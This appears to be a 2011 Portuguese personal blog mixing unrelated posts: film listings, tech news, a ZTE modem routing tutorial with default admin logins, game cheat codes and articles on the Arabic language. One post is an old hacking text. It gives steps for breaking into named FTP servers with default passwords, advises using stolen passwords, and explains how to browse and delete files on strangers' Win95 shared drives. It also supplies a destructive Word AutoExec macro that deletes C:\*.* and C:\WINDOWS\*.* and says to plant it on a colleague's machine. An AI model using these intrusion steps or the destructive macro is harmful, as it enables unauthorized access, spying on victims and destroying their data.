Pages

quinta-feira, 1 de dezembro de 2011

Michael Jackson - Billie Jean (A Cappella)

sexta-feira, 25 de novembro de 2011

Assistir A Saga Crepúsculo Amanhecer Parte 1 Dublado Online

Título Original: The Twilight Saga: Breaking Dawn – Part 1
Gênero: Aventura / Romance
Ano de Lançamento: 2011

Disponivel a VErsão TS Dublada…Confira!

Sinopse:

Bella e Edward se casam e passam a lua-de-mel em uma ilha do Atlântico, perto do Rio de Janeiro, mas Bella descobre estar grávida, e então o casal volta repentinamente para casa. Edward não aceita que Bella tenha o filho, pois tem medo que a criatura mate ela. Ela, no entanto, quer ter o filho. Então pede para que Rosalie ajude-a para que ninguém se aproxime durante a gravidez….










What a Wonderful World - Versão Heavy Metal

Um Pouco de MIM...


... Não tenho muito o que dizer, mas o que tenho a dizer não posso dizer talvez por não querer ou por medo de dividir minha vida com as pessoas...

Mas o que posso dizer, é que não tenho nada a dizer...

Dimas Therion

quinta-feira, 17 de novembro de 2011

Metal líquido pode ser a próxima tendência em processadores


(Fonte da imagem: Reprodução/Liquid Metal Tech)

Se hoje nós ficamos impressionados com as tecnologias de processamento disponíveis (com vários núcleos e alto desempenho oferecido por cada um deles), imagine como será o futuro dos chips de computadores e outros eletrônicos. Quem pensa em processos de fabricação cada vez menores está certo, mas também há outras possibilidades que vêm sendo exploradas.

A IBM já está pesquisando, segundo informa o New Scientist, modos de utilizar metais líquidos para “turbinar” os processadores de portáteis. O material – composto pelo elemento vanádio - garante mais velocidade na transmissão de dados e pode ser utilizado de uma maneira inédita: ele pode se resfriar sozinho, tendo menos riscos de superaquecimento em maiores clocks.

Toda a estrutura do chip será composta pelo vanádio. Com isso, os processos podem alcançar os circuitos com muito mais velocidade. A IBM está agora estudando maneiras de fazer com que o processamento mais dinâmico seja refletido também em economia de energia.

quinta-feira, 27 de outubro de 2011

Como Rotear o Modem ZTE ZXDSL 831 Series

Este tutorial se aplica para configurar o Modem ZTE ZXDSL 831 Series como roteador na área da Oi/Telemar. Ao configurar o modem como roteador, não será mais necessário usar o discador do Velox, além de poder compartilhar Internet com outros computadores através de um HUB ou Switch.

Como Rotear o Modem ZTE ZXDSL 831 Series

Vamos à configuração:

Abra o seu navegador, por exemplo, o Internet Explorer e digite na barra de endereço: 192.168.1.1 (ou 192.168.254.254 se o primeiro não funcionar).

Nome do Usuário = TMAR#ZTV5.5.0a / Senha = ZTV5.5.0a (ou Nome do Usuário = ZXDSL / Senha = ZXDSL).

Dentro da interface do modem, selecione a opção “Quick Start” e depois “Quick Setup”.

Altere os valores para VPI=0 / VCI=33 e pressione NEXT. Veja a imagem 1.

Como Rotear o Modem ZTE ZXDSL 831 Series

Configure para: Protocol = “PPP over Ethernet (PPPoE)” e Encapsulation Type = “LLC/SNAP” e pressione NEXT. Veja a imagem 2.

Como Rotear o Modem ZTE ZXDSL 831 Series

Selecione “Obtain an IP address automatically”, marque a caixa “Enable NAT” e pressione NEXT. Veja a imagem 3.

Como Rotear o Modem ZTE ZXDSL 831 Series

Preencha o campo: “PPP User Name: “ com o login do seu provedor (ex: exemplo@oi.com.br). Preencha o campo “PPP Password:” com a senha de acesso do provedor. Deixe o PPP MTU(1-1492) em: 1492. Marque o “Session established by” para = “Always On” e pressione NEXT. Veja a imagem 4.

Como Rotear o Modem ZTE ZXDSL 831 Series

Nesta tela, não mude nada. Deixe como na imagem abaixo (imagem 5).

Como Rotear o Modem ZTE ZXDSL 831 Series

Agora o modem apresentará o sumário da configuração. Confira se está como na imagem 6 abaixo e, caso contrário, volte, clicando em BACK até achar a configuração que não corresponde ao proposto neste tutorial. Caso tudo esteja igual, basta clicar em FINISH. O modem vai reiniciar e já deve voltar roteado, portanto não será mais necessário usar o discador do Velox. Bastará entrar no navegador e acessar um site qualquer. Nesta parte, cuidado, pois o Internet Explorer pode ter ficado em modo de navegação off-line, caso em não vai navegar. Mas ai, basta colocá-lo online.

Como Rotear o Modem ZTE ZXDSL 831 Series

Simples assim, agora use seu modem sem discador. Caso ligue o cabo de rede num HUB ou SWITCH, você poderá distribuir a Internet para outros computadores. O HUB ou Switch, a grosso modo, funciona como um beijamim de Internet nesse caso. Ai, basta ligar todos os computadores e o modem no HUB ou Switch para que todos compartilhem a Internet. É assim que a maioria das lanhouses faz e também os famosos Gato-Velox.

Claro, com vários computadores navegando, vendo vídeos e baixando coisas, a Internet tende a ficar lenta, portanto, use com parcimônia.

terça-feira, 14 de junho de 2011

COMO HACKEAR SERVIDORES DE FTP

COMO HACKEAR SERVIDORES DE FTP

ara Hackear um Servidor FTP, primeiro vc deve saber o endereco do Host ou
seu IP, para isto use o IPSCAN, digitando o IP Principal do Host:

Lista de Alguns FTP's

>>> ftp.mandic.com.br
>>> ftp.bestway.com.br
>>> ftp.netscape.com
>>> ftp.angelfire.com
>>> ftp.internetclub.com.br (servidor Hackeado por SeQ MaSsIvE,
WARBLADE(r), Speed, kkkkk e CRAMBLE)....


Let's HaCk !!!

Existem vários Programas de FTP'S, mas se não quiser saber de FTP porra
nenhuma use aquele do DOS !!!

Va ao Prompt e digite FTP, ao aparece o prompt ftp,
digite OPEN, ira abrir um outro Prompt (to), digite o nome do host ou seu
IP, tipo (to) ftp.mandic.com.br.

Ao conectar ele pedira a senha e o Password, tente usar os passwords UNIX,
(os famosos defaults) se nao der vc deve entrar INVISÍVEL !!!! Mas como
entrar invisível ?!?!?!
Isso e' fácil... no login pressione ENTER, no password pressione novamente...
Ira aparecer o prompt ftp novamente...., ai e' so' digitar:

quote user ftp
quote cwd ~root
quote pass ftp

Pronto, você ja esta lá dentro!!!

Mas tem um porem..., se escrever a mensagem : USER RESTRICTION APLLY, voce
não esta Hackeando.., pois esta aplicada a proteção..., para isto tente com
outro user tipo quote cwd ~sys e os outros da lista UNIX....

ATENÇÃO !!!!

Nao tente Hackear usando o user normal de FTP'S, que e login : anonymous e
password: seu E-Mail, pois vai ser aplicado a proteção....

MEU DEUS, EU ENTREI, E AGORA O QUE FAÇO??????

Ao entrar vc vai estar no Diretório do login, tipo \home\root\,
Dai, para ver a lista de usuarios, voce volta um dir vá para o dir \home\
e cada dir e um usuario,... não tentem pegar as senhas , pois são
Cryptografadas...
Pois a maioria dos users usa a mesma senha login....
Ok... se você não sabe os comandos, ai vai a dica...., se você estiver no MS-DOS,
digite ? e tecle ENTER em qualquer lugar, pois ira aparecer os comandos...
e ai e s¢ Hackear !!!

OBS: Não fique mais que 5 Min em um servidor, pois ele cacara seu IP, e seu
login, e vai ser CADEIA !!!
Não responsabilizamos por atos cometidos nos Hosts... o problema e de quem
HaCkEiA, e não nosso, pois tome muito cuidado, e NUNCA, mas NUNCA apague
NADA !!!!!!!!!

Para sua maior seguranca, utilize uma senha roubada.

INVASAO POR IP

Alegria de uns, tristeza de outros... na verdade, aqueles que utilizam a
rede Dial-Up do Win95 para sua coneccao com a internet podem estar correndo
serios riscos, a nao ser, e' claro, que assim conectam-se propositalmente,
com inten‡oes "diversas".

Utilizar-se de uma coneccao PPP do Win95 num provedor de acesso, significa
estar disponibilizando seu computador a todos os usuarios da Net. Mesmo sem
o compartilhamento de arquivos, existem diversas ferramentas que permitem a
outra pessoa conectar-se ao seu computador caso voce esteja utilizando esse
tipo de coneccao.

Conecte-se a Internet utilizando a rede Dial-Up do Win95. Se o seu provedor
nao disponibilizar uma conec‡Æo do tipo PPP, estas dicas nao funcionarao.

Verifique antes, se voce possui os drivers clientes para redes Microsoft.
Caso nao estejam instalados, instale-os atraves do Painel de Controle, no
icone Redes.

Verifique tambem se o compartilhamento de Arquivos e Impressoras est
instalado.

Se estiver, voce estara sujeito a que outra pessoa conecte-se ao seu
computador simplesmente sabendo seu IP. Se bem que, para aqueles que ja
sabem, existem mil maneiras diferentes de se "burlar" a fraquinha seguran‡a
do Win95. Para voce poder encontrar outros computadores compartilhados, vocˆ
deve configurar WINS e LMHOSTS. O WINS e' utilizado para localizar os
computadores com IP fixo. O LMHOSTS, e' acionado automaticamente na procura
de computadores que possuem IP dinamicos.
ATEN€AO : TODOS ESSES ARQUIVOS SE ENCONTRAM NO C:\WINDOWS

Configurar essas opcoes e' simples. Va ao Painel de Controle e abra Rede.
Verifique as propriedades do protocolo TCP/IP. Ali voce encontrara a opcao
para ativar a resolu‡Æo WINS. No caso de vocˆ nao conhecer nenhum servidor
WINS, utilize 204.118.34.6 como primario e 204.118.34.11 como secundario.
Esses servidores sao dos USA, e gratuitos. Caso queira outros enderecos,
utilize um dos mecanismos de busca na Internet.

Para configurar o LMHOSTS, voce precisa criar um arquivo texto simples,
utilizando-se ate mesmo o Bloco de Notas do Windows. O arquivo criado deve
chamar-se LMHOSTS. E' nesse arquivo que ficarao os endere‡os de IP e os nomes
dos computadores que voce tera acesso. Para localizar um determinado
computador, voce digita o seu numero de IP e a seguir seu NetBios, na mesma
linha, separados por um espa‡o.

Se voce executar o programa NBSTSTAT, seguido da op‡Æo -N, voce obtera essa
lista, com o nome e o IP de seu computador sempre sendo o primeiro da lista,
seguido das outras maquinas disponiveis, tudo numa janela DOS.

Atrav‚s do Explorer voce podera ver os computadores disponiveis na rede, dos
quais voce ainda podera utilizar os discos mapeando-os, o que os tornara
unidades de seu computador.


Se voce for muito estupido e ainda nao entendeu, deixa eu explicar em outra
linguagem:

Utilizando essas configuracoes acima, voce pode, atraves do seu Windows
Explorer, acessar computadores de outras pessoas que nao tem nada a ver
com a historia, o cara pode estar do outro lado do mundo, la na Polonia ou
nos EUA, por exemplo, ele esta la quietinho, pesquisando paginas ou no
bate-papo, e voce pode mexer e fucar no computador dele como se ele fosse
uma unidade de disco! Isso mesmo! Faz de conta que o computador do cara seja
uma unidade de disquete, e voce pode mexer, mover, espionar, copiar, e ate
apagar arquivos do micro dele!

OBS: tome cuidado para nao ser preso!

MACROS DO WORD

Ainda hoje existe muita gente que so e capaz de abrir o WORD, editar,
negritar, sublinhar e mandar para impressora, muitos, milhares so sabem
mexer no basico mesmo. Eles nem imaginam o que tem por tras deste riquissimo
processador de texto.

Esta materia tem como objetivo fazer desde pequenas ate grandes sacanagens
com usuarios pentelhos.

Software/Versao Abrangida: Microsoft Word, versoes 6 (win3.11) e 7.0 (win95)
O Word possui um arquivo chamado NORMAL.DOT, onde estao todas as configuracoes
padrao do Word. Se por algum motivo este arquivo for deletado, o Word o cria
automaticamente quando for inicializado.

Niveis de Sacanagem:

Nivel 1..... Apenas uma brincadeira
Nivel 2..... Apenas uma brincadeira de mau gosto
Nivel 3..... Ja nao e' mais uma brincadeira.

Primeiro voce precisa criar uma macro... siga os passos:

Entre no Word, feche a janela de documento, nao deixe nenhum documento aberto
(ativo), clique em Arquivo(File) depois Macro, coloque no nome da macro
"AutoExec" (obrigatorio) esta macro e' inicializada toda vez que o Word for
iniciado, depois clique em "Criar", delete as duas linhas que tiver la
(Sub MAIN e End Sub) e cole a rotina que tem logo mais abaixo.

PS: Existem outras formas e meios de criar uma macro,mas esta e' mais simples

Nivel 1

O nivel 1 serve para voce se mostrar, falando que entende do Word melhor do
que ninguem.
Cada vez que o usuario inicia o Word recebera uma mensagem... de alerta ou
qualquer outro coisa que sair da sua mente. Veja abaixo:

Sub MAIN
MsgBox "Voce e um pentelho! Eu nao irei prosseguir com o sistema", "Microsoft
Word", 5
MsgBox "Usuario Pirata Detectado", "FATAL ERROR", 16
MsgBox "JAMES BOND 007 ", "007 na estrada Digital", 64
End Sub

Nota: faca tudo isso em uma so linha, e' que aqui nao deu pra colocar porque
faltou espaco, ok?

Nivel 2

E' para deixar o usuario irritadissimo. No corpo da macro cole este texto
abaixo:

Sub MAIN
ArquivoNovoPadrao
Inserir "James"
ArquivoNovoPadrao
Inserir "Bond"
ArquivoNovoPadrao
Inserir "007"
ArquivoNovoPadrao
Inserir "James Bond 007 Na Estrada digital "
ArquivoNovoPadrao
Inserir "."
ArquivoNovoPadrao
Inserir "."
ArquivoNovoPadrao
Inserir "."
ArquivoNovoPadrao
Inserir "."
ArquivoNovoPadrao
Inserir "."
ArquivoNovoPadrao
Inserir "."
ArquivoNovoPadrao
Inserir "."
ArquivoNovoPadrao
Inserir "."
ArquivoNovoPadrao
Inserir "."
ArquivoNovoPadrao
Inserir "."
ArquivoNovoPadrao
Inserir "."
ArquivoNovoPadrao
Inserir "."
ArquivoNovoPadrao
Inserir "."
ArquivoNovoPadrao
Inserir "."
ArquivoNovoPadrao
Inserir "James Bond 007 Na Estrada digital "
End Sub


Nivel 3

Bom este nivel e pura sacanagem, com ele um simples clicar do mouse, e tudo
desaparece! Isso mesmo, "DEL *.*" ou apenas os documentos, voce e quem sabe.

Sub MAIN
Kill "C:\*.*"
Kill "C:\WINDOWS\*.*"
Kill "C:\WINWORD\*.*"
End Sub

Lembre-se de que estes macros sao gravados no arquivo default do word, ou
seja, no NORMAL.DOT. De este arquivo for deletado, o Word automaticamente
ira criar outro na inicializacao, entao se voce for fazer estas sacanagens
acima, proteja este arquivo, com o comando 'attrib +r'.
Detalhes: Existe uma forma de iniciar o Word, sem que inicialize a macro
'AutoExec' mas nao irei falar, descubra voce mesmo. A macro do word e uma
ferramenta riquissima, procure fucar. Voce pode fazer estas no seu proprio
computador (se cuide!), salvando sempre no arq. "normal.dot" depois copie
apenas este arquivo para aquele seu colega/amigo pentelho e saia de perto,
para nao explodir em voce.

LISTÇO !!!!
para se usar os comandos do MODEM!

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Comando: Resposta:

+++ATQ0 Mostra os resultados do comando.
+++ATQ1 NÆo mostra os resultados dos comandos.
+++ATN0 Desliga o modo de autodetecta‡Æo!
+++ATN1 Liga o modo de autodetecta‡Æo.
+++ATM0 Desliga o speaker do modem!
+++ATM2 Liga o speaker do modem!
+++ATL0 Volume baixo no speaker do modem.
+++ATL2 Volume m‚dio no speaker do modem.
+++ATL3 Volume alto no speaker do modem.
+++ATI(0 AT
O 7) Mostra descri‡äes sobre o modem.
+++ATI5 Mostra os n§ armazenados na mem¢ria NVRAM.
+++ATH0 Hang-up
+++ATH1 Tipo o hang-up
+++ATF(0 AO 10) Seleciona uma versÆo para o modem (default=0)
+++ATE0 Desliga o echo, ECHO OFF
+++ATE1 Liga o echo, ECHO ON
+++ATDP Disca no modo pulse
+++ATDS=n Disca o n£mero na mem¢ria NVRAM (n=0-3).
AT&Z(0-3)=(N§) Armazena os n§'s na mem¢ria NVRAM.
ATS3D Serve para conectar atraves do telefone

RISE OF THE TRIAD

Em qualquer momento do jogo, digite estes passwords para se dar bem:

TOOSAD=> god mode

CHOJIN=> you are un-killable

GOTO=> level warp

SIXTOYS=> various useful items

FLYBOY=> enables you to fly

BADTRIP=> for a psychedelic experience ( try it!! )

BOING=> elasto mode

SPEED=> auto run mode, for the lazy

PANIC=> restore yourself to normal

DIMON=> light diminishing on

DIMOFF=> light diminishing off

LONDOM=> fog on

NODNOL=> fog off

GOGATES=> quit!

GOARCH=> teleport strainght to level end

GOTA386=> use 386 mode

LUNGDUNG=>gas mask

86ME=> use 8086 mode ( oh dear !! )

JOHNWOO=> dual pistols

PLUGEM=> MP40 sub-machine gun

VANILLA=> bazooka weapon

HOTTIMES=>heat seeker launcher

FIREBOMB=>fire-bomb weapon

BONES=> flame wall weapon

SEEYA=> hand of god ( try it !! )



OBS: ANTES de digitar os càdigos, digite DIPSTICK.

Dialétos do árabe

Dialétos do árabe

A palavra "árabe" se refere também a vários dialétos/línguas derivados do árabe clássico que se fala no norte da África e no Oriente Médio. Com frequencia são tão diferentes que não se entendem entre eles mesmos. Muitos destes dialétos não se escrevem, ainda que comservam parte de sua literatura (sobre tudo canções poesia), especialmente em Líbano e em Egipto.

Oárabe coloquial é uma recopilação das línguas e dialétos do mundo árabe que como havámos dito anteriormente é radicalmente diferente da linguagem literária. A divisãodialetal mais marcada se situa entre os dialétos do Magreb e os do Oriente Médio, seguida dos dialétos sedentarios e de os dialétos beduinos que são claramente mais comservadores. O maltés, ainda que descende do árabe, está considerado como uma língua distinta e, por tanto, os falantes deste dialéto não poden entender se com os demais. Enquanto que os falantes de dialétos do Oriente Médio generalmente se entendem entre eles, costumam ter problemas para entender a os magrebíes (ainda que nos filmes pareça o contrário)

Um fator de diferenciação dos dialétos é a influência que receberam das línguas que se falavam previamente na região, que não só aportam um número consideravel de neologismos, como também algumas vezes influem na pronunciação ou na colocação das palavras; não sendo o bastante, o fator mais significativo para a maioria dos dialétos, como entre as línguas romances, é a mudança de significado das formas clássicas. Assim que "aku" em iraquí, "fiih" em levantino e "kayen" em norafricano queren dizer "hay" e a pesar de parecer completamente diferentes todas derivam do árabe ("yakuun", "fiihi" e "kaa'in" respectivamente).

Os grupos mais importantes são:

Egipcio arábigo (Egipto) considerado o mais usado e entendido; o segundo dialéto"
Magreb arábigo (Tunez, Algeria, Marruecos, oeste do Líbano)
Hassaniiya (em Mauritania)
Andalusi arábigo (atualmente extinguido mas muito importante na literatura histórica)
Maltés
Sudanés arábigo (com dialéto continuo em Chad)
Levantino arábigo (Siria, Líbano, Palestino e oeste de Jordania)
Iraquí arábigo
Golfo arábigo (Costa do golfo desde Kuwait até Oman e uma minoria no outro lado)
Hijazi arábigo
Najdi arábigo
Yemeni arábigo

Dados sobre a língua árabe

Dados sobre a língua árabe

O árabe semítico está muito relacionado com o hebreo e o arameo, línguas faladas pelo mundo árabe mas raramente conhecidas fora dele.

Durante 1500 años foi uma língua literária e atualmente é a língua litúrgica do Islam.

O término "Árabe estándar moderno" é frequentemente utilizado para referir se a língua arábe meia em contraposição a língua clássica da literatura árabe. Os árabes não fazem esta distinção e reconhecem as duas línguas como idénticas.

As expresões "Árabe"e"Árabe clássico" se referen a língua árabe pura que é, de acordo com seus falantes, tanto a língua do dia a dia do norte da África e do Oriente Médio (desde Marrocos até Irak) como a refletida no Corán.

O alfabeto árabe deriva da escritura do arameo cuja variedade, é objeto de estudo dos espertos, embora guarde certa simililaridade com a escritura do grego e sua relação com o cirílico e o copto.

Se fala em: Algeria, Bahrein, Egipto,la linea de Gaza, Irak, Jordania, Kuwait, Líbano,Libia, Mauritania, Marruecos, Omán, Qatar, Arabia Saudí, Sudán, Siria, Tunez, Emiratos Árabes Unidos, a orilla este de Israel, Yemen (em sua maioría), e em muitos outros países como língua minoritária.

Zona: mundo árabe.

Número de falantes: 225 milhões (Falantes nativos de todos os dialétos)

Estatísticas:
- Egipto- 65.410.000
- Algeria - 32.129.324
- Marrocos - 18.858.000
- Irak - 18.290.150
- Sudán - 15.000.000
- Yemen - 14.681.000
- Arabia Saudí - 26.417.599
- Siria - 11.470.000
- Tunez - 9.000.500
- Jordania - 5.650.000
- Libia - 4.200.000
- Líbano - 3.900.000
- Palestina - 3.000.000
- Mauritania - 1.800.000
- Irán - 1.400.000
- França - 1.365.700
- Omán - 1.241.000
- Argentina - 1.000.000
- Israel - 1.000.000
- Libia - 1.000.000
- Turkía - 1.000.000
- Emiratos Árabes Unidos - 925.000
- Kuwait - 805.000
- Chad - 754.590
- Bahrein - 677.886
- Niger - 277.400
- Holanda - 220.000
- Eritrea - 218.000
- Tanzania - 195.000
- Estados Unidos da América - 193.520
- Bélgica- 124.700
- Mali - 106.100
- Qatar - 103.000
- Nigeria - 100.000
- Alemanha - 96.200
- Camerún - 63.600
- África central - 63.000
- Kenya - 35.000
- Canadá - 28.550
- Afganistão - 10.000
- Italia - 5.000
- Senegal - 5.000
- Reino Unido - 4.000
- República Dominicana- 3.000
- Trinidad e Tobago - 2.600
- Jamaica - 2.000
- Tajikistão - 2.000
- Chipre - 1.300
- Guiana Francesa - 800
- India - 500

- Total - 242.806.429

Clasificação: Afroasiática | Semitica

Gramática árabe

Gramática árabe

A expansão do Islam no século VIII fez com que muita gente aprendesse o árabe como língua franca. Esta é a razão pela que os primeiros tratados de gramática árabe fossem escritos pelos falantes não nativos.

Tradicionalmente, a gramática está dividida em quatro ramos:
al-lugah (léxico) referida a recopilação e explicação de vocabulário.
at-ta-rif (morfología)que determina a formação das palavras.
an-na-w (sintaxis) principalmente referida a flexão (i-rab)que se perdeu nos últimos dialétos.
al-istiqaq (etimología) estuda a origem das palavras.

Substantivo:

O substantivo em árabe pode ter 3 estados de definição: definido, indefinido ou o chamado estado constructo. o definido está marcado pelo prefixo al-. o indefinido pelo sufixo -n (nunação). o estado contructo não está marcado mas sempre vai situado no primeiro término da contrucção genitiva.

Pronomes pessoais árabes:

Singular:
Eu - anaa, por exemplo: anaa katabtu - eo écribí.
tu (masculino) - anta, por exemplo: anta katabta - tu escrivestes.
tu (femenino) - anti, por exemplo: anti katabti - tu escrevestes.
ele (masculino) - huwa, por exemplo: huwa kataba - ele escreveu.
ela (femenino) - hiya, por exemplo: hiya katabat - ela escreveu.

Plural:
nós - naHnu, por exemplo: naHnu katabnaa - nós escrevemos.
vós (pl. masculino) - antum, por exemplo: antum katabtum - vós escreveis.
eles (masc) - hum, por exemplo: hum katabuu - eles escreveram.
elas (fem) - hunna, por exemplo: hunna katabna - elas escreveram.

Duas classes de orações em árabe:

1. Orações verbais: começam pelo verbo e lhes segue o sujeito. o verbo sempre vai em singular ainda que o sujeito seja plural. Exemplos das orações verbais:
dhahaba abiy ila Cairo - tradução literal - Meu pai foi ao Cairo. Mas, o significado real é: meu pai se foi ao Cairo.
raja'a abiy min Cairo - tradução literal - Voltou meu pai do Cairo. Mas, o significado real é: meu pai voltou do Cairo.
la'iba al-waladaani - as duas crianças jogaram.
la'iba al-awlaadu - as crianças jogaram.
Como você pode ver, o verbo em árabe vai sempre em singur ainda que o sujeito seja plural.

2. Orações nominais: começam pelo nome ou sujeito e lhes seguem os demais complementos. o verbo deve concordar com o sujeito em gênero e número. Exemplos das orações nominais:
abiy raja'a min Cairo - Meu pai voltou do Cairo.
akhiy kataba - Meu irmão escreveu.
al-waladu la'iba - a criança jogou.
al-waladaani la'ibaa - as criançasjogaram.
al-awlaadu la'iboo - as crianças jogaram (crianças é plural = "eles" o verbo que necessitamos é o que concorde com "eles":"la'iboo").
Como você pode ver, o verbo concorda com o sujeito em número.
anaa wa akhiy wa abiy dhahabnaa ila Cairo - eu, meu irmão e meu pai fomos ao Cairo. nesta oração "eu, meu irmão e meu pai" equivale a "nós" o verbo que necessitamos é o que concorda com "nós": "dhahabnaa".

Género:

Oárabe tem dois gêneros que concordan nas sequencias nominais e as verbais.A concordância nos numerais é algo peculiar. Geralmente os gêneros se denominam masculino ou femenino, mas, a realidade é mais complexa posto que o femenino também se usa para expressar os plurais de seres animados.

O marcador do gênero femenino é o sufixo -t-, mas alguns nomes sem este sufixo também podem ser femeninos como por exemplo: uma: mãe, ou, pai: terra. no árabe clássico ou marcador de femenino "-t" não se pronunciava antes da pausa. Se escreve com uma letra especial (ta marbuta) que indica que o fonema t deve ser pronunciado sempre que não lhe siga uma pausa.

Tempos verbais:

Existem dois tempos principais em árabe. 1.Tempo perfeito, 2.Tempo imperfeito ou tempo presente. A ação é completada no tempo perfeito. Também poderiamos denominar este tempo como passado porque a ação é completada antes do presente pelo que pertence ao passado. Por exemplo, alguém pode dizer: "comi"; a ação de comer terminou no passado. este passado pode ser fazem dois minutos ou fazem duas décadas. Pelo contrário, em outro tempo a ação continua. Por exemplo: bates na porta, entras e ves que alguém está comendo, a pessoa te diz: "estou comendo" e a ação continua, ele segue comendo enquanto fala contigo. é o presente em Português. Em árabe sería tempo imperfeito. Olhe na tabela de cima e localize o pronome "eu" na coluna da esquerda e dirige a vista até a coluna da direita de imperfeitos. Você vai ver o verbo "akulu" que quer dizer "estou comendo" ou "como". Evos verbos futuros?vBem, em árabe não existe uma conjugação como em portugues para os verbos no futuro. Simplesmente se forma acrescentando o prefixo "sa" na forma imperfeita do verbo. Para clarearmos um pouquinho melhor vamos nos fixar na tabela de cima mais uma vez e buscamos o tempo imperfeito do verbo "akala", é "ya'kulu", se lhe acrescentamos o prefixo de futuro "sa" a "ya'kulu" obteremos "saya'kulu" que quer dizer "Comerá".

Historia da língua árabe

Historia da língua árabe

O árabe estándar moderno pertence a familia das líguas semanticas. Esta familia tem milhões de anos de história e é uma das familias de línguas com maior documentação conservada. Ainda que os expertos ainda estejam discutindo suas origens, seu nascimento na cuenca mediterránea e mais concretamente na cuenca do Tigris e do Eúfrates e nas zonas litoraneas do levante, não levanta nenhuma dúvida.

A familia de línguas semanticas descende da proto-semantica, uma língua antiguíssima que não tem documentos escritos. Esta relação situa a língua árabe no grupo de línguas afro-asiáticas. Concretamente é parte de um subgrupo semantico de línguas afro-asiáticas. E sendo mais longe na relação entre o árabe e outras línguas semanticas, o árabe moderno se considera como parte da rama secundária do árabe cananeo que é o grupo central de línguas semanticas do oeste. Assim que , podemos dizer que mesmo que o árabe não seja a língua mais antigua da familia das semanticas, suss raízes estam claramente relacionadas com os predecessores destas.

Ademais do árabe, dentro da familia de línguas semanticas encontramos, o hebreo, arameo, maltés, etíope, tigrinya, tigré, gurage, geez, acadia, fenicio, púnica, ugarítico, nabateo, amorita e moabita . Ainda que a maioria destas se consideram línguas mortas, obsoletas ou se usam únicamente com fins religiosos, o árabe é uma língua que cresce. A razão deste aumento está diretamente conectada com o crescimento do Islam e mais concretamente com seu livro santo, ou Corán.

Existem três classes de arábe. Árabe clássico ou Qur’anical, árabe estándar moderno ou formal, e árabe coloquial ou falado. O árabe clássico é a forma que se utiliza no Corán; não se usa em conversação ou escritura não religiosa. e como tal, o árabe clássico se estuda exclusivamente para ler e recitar os textos religiosos do Islám.

Para poder entender a relação entre o árabe estándar moderno e o árabe falado é importante entender o conceito de diglossia. Charles Ferguson, o criador do término, define diglossia (literalmente "duas línguas") como a situação que se cria quando além dos dialétos primários de uma língua existe outra forma altamente codificada que serve para entender grande quantidade de literatura muito respeitada pelos falantes da língua. Além do árabe. podemos encontrar exemplos de diglossia na coexistencia do latim escrito e as línguas romances faladas como o francês, o italiano ou o espanhol. Enquanto que o árabe estándar moderno é a forma definitiva de escritura em árabe, existem multitudes de dialétos arábicos. o árabe estándar moderno constitue uma forma de línguagem universal que pode ser entendido por todos e normalmente, se usa em transmisões radiofônicas, noticiarios, filmes, esportes, poesía e conversações entre falantes de diferentes dialétos do árabe.

Os dialétos do árabe coloquial são geralmente sómente línguas faladas. Os árabes usam a língua coloquial em todas as suas interações diárias, mas se se encontram em uma situação que exige maior formalidade usarão o árabe estándar moderno. Nas partes do mundo onde se fala árabe prevalece a seguinte situação: existe uma língua coloquial, a que se fala normalmente e a que os falantes aprendem como sua língua materna, e o árabe estándar moderno baseado no clássico ou Qur’anical. O árabe estándar é praticamente igual em todo o mundo árabe, enquanto que existem notaveis diferenças entre os dialétos coloquiais. De fato algumas destas diferenças são tão amplas que os falantes destes dialétos são incapazes de entender se. Por exemplo, meu companhiero de apartamento que é palestino me disse mil vezes que é incapaz de entender o dialéto coloquial do árabe marroquí.

O árabe moderno, tanto o estándar como o coloquial, não é estático. Os coloquialismos experimentaram e seguiram experimentando grandes mudanças. Infelizmente, até faz muito pouco não se estudou estas mudanças pelo que é muito difícil documentar as mudanças que se experimentou. É mais fácil, porém, se tem que documentar as mudanças em árabe estándar moderno.

Um progresso do árabe estándar moderno é a tendência a modernização. A modernização implica na criação de novos términos para conceitos que antes não existiam. Como quase todos os falantes de todo o mundo, os falantes de árabe são sensiveis al emprestimo de Palavras. De fat, é provavel que sejam mais sensiveis a mudança de língua, porque a maioria dos árabes reconhecem o árabe como a língua de seu Deus. Este conceito faz com que a mudança lingüística seja mais difícil de aceitar. E como resultado, se esétabeleceu academias normativas por todo o mundo árabe, como no Cairo, Damasco, Bagdag e Ammán.

Enquanto os primeiros documentos escritos em árabe datam de principios do século IV a.C., foi seu uso a principios do século VII como a língua do Corán, o que lhe levou a ser a língua maioritária que é hoje. Ao igual que o Islam se extendeu por todo o mundo, a língua eligida também foi feita. Junto com o aumento no Islam, o árabe se convirteu na língua oficial do governo e da religião. Nos 100 anos siguintes a introdução do Corán, ou árabe se convirteu na língua oficial de um império mundial cujos limites ian desde o rio Oxus na Asía Central até o Océano Atlántico e também fazia parte do norte da península ibérica da Europa. O árabe como algo inerente ao Islam seguiu extendendo se por todo o mundo ao mesmo tempo em que a religião.

Ofertas de trabalho

Ofertas de trabalho

Buscador de trabalhos para profissionais do idioma árabe

Encontre trabalhos no que é necessário saber árabe. Envie seu curriculum vitae e você receberá gratuitamente conselhos para melhorar sua carreira profissional, redactar um bom curriculum, etc.

Powered by
Job search for language professionals worldwide
Job search for language professionals worldwide
Recruiter
Post your job Now!

It\'s free!
Job seeker
:: Post resume, Free!
:: Resume Writing
:: Resume distribution



Job Search Engine

Category
Language
Country

Literatura árabe

Literatura árabe

A estrutura da língua árabe combina perfeitamente a harmonia das palavras com rimas e ritmos elaborados. A literatura mais recente conhecida aparece no norte da Arabia até o ano 500 a. C., era poesía que se recitava no alto, se memorizava e passava de geração em geração. Começou a ser recolhida até o final do século VII. Os poemas mais celebrados do periodo preislâmico eram conhecidos como os mu'allaqat ("os pendurados"), segundo dizem porque era considerados suficientemente destacados para ser pendurados nas paredes da ka'ba em Makkah.

Prosa:

O nascimento da prosa arábica como forma literaria se atribui a classe secretarial persa que serviu baixo o mando do califa Abbasid em Bagdag (750-1256). Ibn al-Muqaffa' (falecido em 757) se converteu ao Islam e traduziu trabalhos do persa clássico ao árabe. Se fez famoso por ser o autor de Kalila e Dimna, uma serie de fábulas didáticas nas que dois chacais ofereciam conselhos morais e praticos.

A origem da novela arábica moderna pode atribuir se a um largo processo de renascimento e assimilação, chamado em árabe la Nahada ou Renaissance. As características deste periodo são duas tendências diferentes. O movimento Neoclásico que buscava redescobrir as tradições literárias do passado e que foi influido pela literatura tradicional, como por exemplo a Maqama ou as mil e uma noites. E o movimento Modernista que começou a traduzir trabalhos ocidentais, principalmente novelas, ao árabe.

